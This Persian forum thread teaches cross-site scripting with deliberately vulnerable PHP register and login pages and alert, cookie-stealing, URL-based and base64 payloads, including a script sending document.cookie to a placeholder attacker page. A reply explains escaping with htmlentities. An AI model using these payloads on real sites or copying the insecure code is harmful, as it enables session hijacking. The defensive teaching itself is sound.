آموزش های این وب سایت به صورت رایگان در دسترس است. اطلاعات بیشتر
مشکل عدم دسترسی خریداران پیشین به برخی آموزش ها برطرف شد
بروز خطا
   [message]
اشتراک در سوال
رای ها
[dataList]

باگ XSS و روش مقابله با XSS

محسن موحد  10 سال پیش  8 سال پیش
+39 0

سلام.
یکی از انواع حملات به صفحات وب , XSS هست.(Cross Site Scripting)
xss ازین قراره که نفوذگر توسط کد های client side مثل (javascript , vbscript) , صفحات وبی که توسط کاربران اینترنتی (clients) باز شده , مورد حمله قرار میدن و اسکریپت هاشونو تزریق میکنن.
این اسکریپت ها در صفحات وب ما (clients) اجرا میشن و باعث خرابکاری هایی در برنامه میشن و نفوذگر میتونه اطلاعات کاربرو در اختیار بگیره.

 

واسه اینکه ساده تر بخوام توضیح بدم , یک مثال خیلی ساده میزنم:
یک صفحه ی فرم میسازم که نام افرادی که میخوان عضو سایت بشن رو میگیره و در دیتابیس ذخیره میکنه و تمام کسانی که قبلا عضو شدنو هم در همون صفحه , پایین تر از فرم , نمایش میده:
اسم این صفحه (register.php)

<form action="" method="post" accept-charset="utf-8">
	<input type="text" name="name">
	<input type="submit" name="btnSubmit" value="Insert">
</form>
<hr>
<b>Members:</b><br>
<?php mysql_connect('localhost', 'root', ''); mysql_select_db('test'); mysql_query('set names utf8'); /**************************/ // insert codes if (isset($_POST['btnSubmit'])) { if (isset($_POST['name']) && !empty($_POST['name'])) { $name = $_POST['name']; mysql_query("INSERT INTO `name` (`name`) VALUES ('{$name}')"); if (mysql_affected_rows() <= 0) { echo "ERROR!"; } } } /**************************/ // show members $result = mysql_query("SELECT * FROM `name`"); if (mysql_num_rows($result) > 0) { while ($row = mysql_fetch_assoc($result)) { echo $row['name'] . '<br>'; } }

 

حالا کاربری (نفوذگر) وارد این صفحه از سایت میشه و این صفحه رو میبینه:


و بجای اینکه اسمشو وارد کنه , این عبارتو در اینپوت مینویسه:

 <script>alert(\"You have been hacked!\")</script>

و روی دکمه ی Insert کلیک میکنه و در دیتابیس این عبارت ذخیره میشه.
قاعدتا عبارت بالا هم باید در زیر member ها اضافه و چاپ بشه!!

 

حالا هر کاربری , هر زمانی , از هر جایی که این صفحه از سایتو باز کنه ,  با این آلرت مواجه میشه:


بله , بجای اینکه اون عبارت بالا عیناً در قسمت members چاپ بشه , بصورت آلرت در مرورگر کاربر(قربانی) نمایش داده شد , یعنی کدهای جاوااسکریپت در مرورگر کاربر اجرا شد.
بجای alert میشد هر کد جاوااسکریپت دیگه ای تزریق کرد.

*********************************************

 

خوب , مثال بالارو توو قالب یک مثال دیگه میارم.
در مثال اولی که زدم , فرمی داشتیم که نام تمام اعضا رو نمایش میداد.حالا کاربری (نفوذگر) وارد همان صفحه یعنی register.php میشه و داخل اینپوت , بجای نام خودش, این کد جاوااسکریپتو وارد میکنه:

<script>
window.location = \'http://example.com?hacker.php?cookie=\' + escape(document.cookie);
</script>

 

فرض میکنیم عبارت بالا توسط نفوذگر در دیتابیس ثبت شد.
* example.com/hacker.php صفحه ایست که نفوذگر ساخته.(آدرس سایت نفوذگر)

 

در ادامه ی مثال, یک صفحه ی لاگین داریم و کاربر ها لاگین میکنن.
زمانی که لاگین صورت میگیره , اطلاعات کاربر در سشن ذخیره میشه.(در این مثال)
همونطور که میدونید , session id در کوکی و مرورگر کاربر ذخیره میشه و توسط این آیدی مقادیر از حافظه ی سرور خونده میشه.
یعنی عملا اگر کوکی مرورگر کاربر غیر فعال باشه , سشن هم کار نمیکنه , چون سشن آیدی دیگه نمیتونه در جایی ذخیره بشه.
پس نکته ی مهمی که اینجاس , اگر ما سشن آیدی یک کاربرو داشته باشیم , توسط این آیدی میتونیم اطلاعات کاربرو که روی حافظه ی سرور ذخیره شده رو بخونیم.
توو این مثال میخوایم توسط حمله ی xss  , سشن کاربر قربانی رو بدست بیاریم.

یک پیج لاگین ساده درست کردم و فقط این لاگینو محدود به یوزر ادمین کردم.دلیل اینکارم اینه که نخواستم زیادی پیچیدش کنم و فقط میخوام مثالو پیاده سازی کنم.

<?php
// start session
if (!isset($_SESSION))
{
	@session_start();
}

/***************************/
// check login
if (isset($_POST['btnLogin']))
{
	if (isset($_POST['username'], $_POST['password']))
	{
		$username = $_POST['username'];
		$password = $_POST['password'];

		if (strtolower($username) == 'bidak' && $password == '123')
		{
			$_SESSION['login'] = true;
		}
	}
}

/***************************/
// check login session
if (!isset($_SESSION['login']))
{
?>
	<form action="" method="post" accept-charset="utf-8">
		username: <input type="text" name="username">
		<br><br>
		password: <input type="text" name="password">
		<input type="submit" name="btnLogin" value="login">
	</form>
<?php
}

// show members
if (isset($_SESSION['login']))
{
	echo 'Welcome to <strong>Admin</strong> panel.<br>';

	/**************************/
	mysql_connect('localhost', 'root', '');
	mysql_select_db('test');
	// show members
	$result = mysql_query("SELECT * FROM `name`");
	if (mysql_num_rows($result) > 0)
	{
		while ($row = mysql_fetch_assoc($result))
		{
		    echo $row['name'] . '<br>';
		}
	}
}
else
{
	echo 'You are a <strong>Guest</strong> here now.';
}

 

وقتی login میشم سشن login ست میشه و در صفحه ی ادمین اسامی اعضای سایت نمایش داده میشه.
یکی از اسامی که در صفحه چاپ میشه , کد نفوذگر هست:(در متن بالا اشاره شد)

<script>
    window.location = 'http://example.com?hacker.php?cookie=' + escape(document.cookie);
</script>

 

این کد اجرا میشه و کوکی کاربر لاگین شده رو به آدرس نفوذگر میچسبونه و میفرسته به صفحه ای که نفوذگر توو سایت خودش ساخته.نفوذگر کوکی های کاربرو در صفحه ای که ساخته(hacker.php) دریافت میکنه و جایی ثبت یا توسط میل و ... ارسال میکنه.

 

صفحه ی hacker.php بعنوان مثال:

<?php
echo  "found: " . urldecode($_GET['cookie']);
// Insert into db or Send email

کدهای صفحه ی نفوذگر اجرا میشه و کوکی سشن آیدی کاربر بدست نفوذگر میرسه.
کافیه نفوذگر این کوکی رو در مرورگرش ایجاد کنه و مقدار سشن آیدی کاربر قربانی رو در مرورگر خودش ست کنه.
بعد از ست شدن سشن آیدی کاربر قربانی , دیگه صفحه ی لاگین نمیاد و مستقیم وارد پیج ادمین میشه.

حالا این کد میتونه توو پروفایل یک کاربر تزریق بشه یا در صفحه ی پیام های خصوصی یا کامنت های یک پست یا بصورت یک لینک داده بشه به کاربر از طریق ایمیل و ... و کاربر لینک مورد نظر نفوذگرو باز کنه و ...

*********************************************

 

مثالی واسه لینک دادن به کاربر و تزریق از طریق address bar:
سایتی که در قسمت search box باگ xss داره.قسمتی از کدهاش به این شکله که عبارت جستجو شده توسط کاربرو در url قرار میده و با متغیر GET مورد دستیابی قرار میده و بدون هیچ فیلتری در صفحه عبارت جستجو شده رو چاپ میکنه:

echo "You searched for: ".$_GET['search'];

و نفوذگر چیزی شبیه به آدرس سایت مد نظر برای کاربر قربانی به شکل های مختلفی ارسال میکنه تا کاربر قربانی روی این لینک کلیک کنه.

http://exampleSite.com/result.html?search=<img src=/ onerror="alert(document.cookie)">

از صفت های تگ های html میشه واسه تزریق کد استفاده کرد.
نسخه ی جدید مرورگرها مثل chrome , تزریق اسکریپت از address bar رو جلوگیری میکنن ولی بعضی روش ها هنوز روی firefox از url میشه تزریق کرد.

 

در ادامه ی همین قسمت , یک نوع دیگه رو نشون بدم:
برنامه نویس تگ form استفاده کرده ومقدار  صفت action رو از آدرس بار کاربر گرفته. ازین طریق:

<form method="post" action="<?php echo $_SERVER["PHP_SELF"];?>">

دستور :

$_SERVER["PHP_SELF"];

از url کاربر نام فایل (صفحه ی جاری) نسبت به ریشه رو برمیگردونه.
مثلا این آدرس صفحه ی جاری: http://example.com/foo/bar.php
چیزی که در action تگ فرم چاپ میشه: 

/foo/bar.php

 

حالا نفوذگر , کد زیرو  به آدرس مقابل تزریق میکنه: http://www.example.com/test_form.php

http://www.example.com/test_form.php/%22%3E%3Cscript%3Ealert('hacked')%3C/script%3E

و در نتیجه تگ فرم به این شکل در میاد:

<form method="post" action="test_form.php/"><script>alert('hacked')</script>

و کد جاوااسکریپت در مرورگر کاربر اجرا میشه.

*********************************************

 

خوب ...
نفوذگر واسه inject کردن کدهاش روش های مختلفی استفاده میکنه.
بعنوان مثال , کد بصورت base64 کدگذار شده.یک نمونه با تگ meta:

<META HTTP-EQUIV="refresh"
CONTENT="0;url=data:text/html;base64,PHNjcmlwdD5hbGVydCgndGVzdDMnKTwvc2NyaXB0Pg">

اگر عبارت کدگذاری شده رو decode کنیم , این عبارتو میبینیم:

<script>alert('test3')</script>

روش های مختلف دیگه ای مثل url encoding و hex encoding و ... 

*********************************************

 

توو این پست صفحات register و login رو بعنوان مثال پیاده سازی کردم, بخاطر اون دسته از افرادی که هیچ آشنایی با این باگ ندارن و اگر خواستن تست کنن همین کدهارو اجرا کنن.
قصد , آموزش xss نبود و یک معرفی اجمالی انجام دادم.
شما روش های مختلف تزریقو میتونید از این لینک ببینید.


توو پست بعدی روش مقابله با xss رو میگم.

+2 0
عالی بود داداش دستت درد نکنه که انقدر به خاطر ما تایپ کردی واقعا مفید بود (10 سال پیش)
+1 0
عالی بود به نظرم نیاز است یک بخش امنیت در وب ایجاد گردد. (10 سال پیش)
0 0
عالی بود. روش فیلتر کردن آدرس بار موقع سرچ چطوریه ؟ یعنی نفوذگر مستقیم از آدرس بار سرچ نکنه (8 سال پیش)
 برای این سوال 1 پاسخ وجود دارد.
پاسخ به سوال 
محسن موحد  10 سال پیش
+14 0

همونطور که مثال هارو دیدید , هر جایی که مقادیر(گرفته شده از کاربران) در صفحه ی مرورگر چاپ میشه , امکان xss هست.
پس همیشه تمام اطلاعاتی که از کاربرها میگیرید , مانند (کامنت ها , چت ها , پیام ها , پست ها , مشخصات , ... و ... و ...) در زمان چاپ , باید با تابع htmlentities و یا htmlspecialchars (یکی از توابع) ,  اطلاعات escape بشن.

* در این تاپیک در مورد این دو تابع قبلا توضیح دادم. (آموزش توابع کاربردی رشته ها)

بعنوان مثال قسمت نمایش اعضا که در قسمت اول کدشو نوشتم , به این حالت در میاد:

// show members
$result = mysql_query("SELECT * FROM `name`");
if (mysql_num_rows($result) > 0)
{
	while ($row = mysql_fetch_assoc($result))
	{
// use HtmlEntities to prevent xss echo htmlentities($row['name'], ENT_QUOTES, 'UTF-8') . '<br>'; } }

 

خوب , حالا چیزی که در صفحه ی مرورگر چاپ میشه:

<script>alert("You have been hacked!")</script>
ali
hasan
mohsen

در مثالی دیگه (پست قبلیم) , اشتباه برنامه نویس در تگ فرم باعث بروز این باگ شده بود , به این شکل در میاد:

<form method="post" action="<?php echo htmlentities($_SERVER["PHP_SELF"], ENT_QUOTES, 'UTF-8')?>">


و تمام مواردی که گفته شد , بهمین شکل.

0 0
اگر ما بخایم کاربر بتونه تگ های html رو در نوشتش استفاده کنه مثل echo htmlentities("aaaa", ENT_QUOTES, 'UTF-8') . ''; تبدیل به این میشه <a href="aaaa">aaaa</a> که تگ ها اجرا نمیشه برای اینکه این تگ ها باقی بمونن چه کار میشه کرد؟ (8 سال پیش)

پاسخگویی و مشاهده پاسخ های این سوال تنها برای اعضای ویژه سایت امکان پذیر است .
چنانچه تمایل دارید به همه بخش ها دسترسی داشته باشید میتوانید از این بخش لایسنس این آموزش را خریداری نمایید .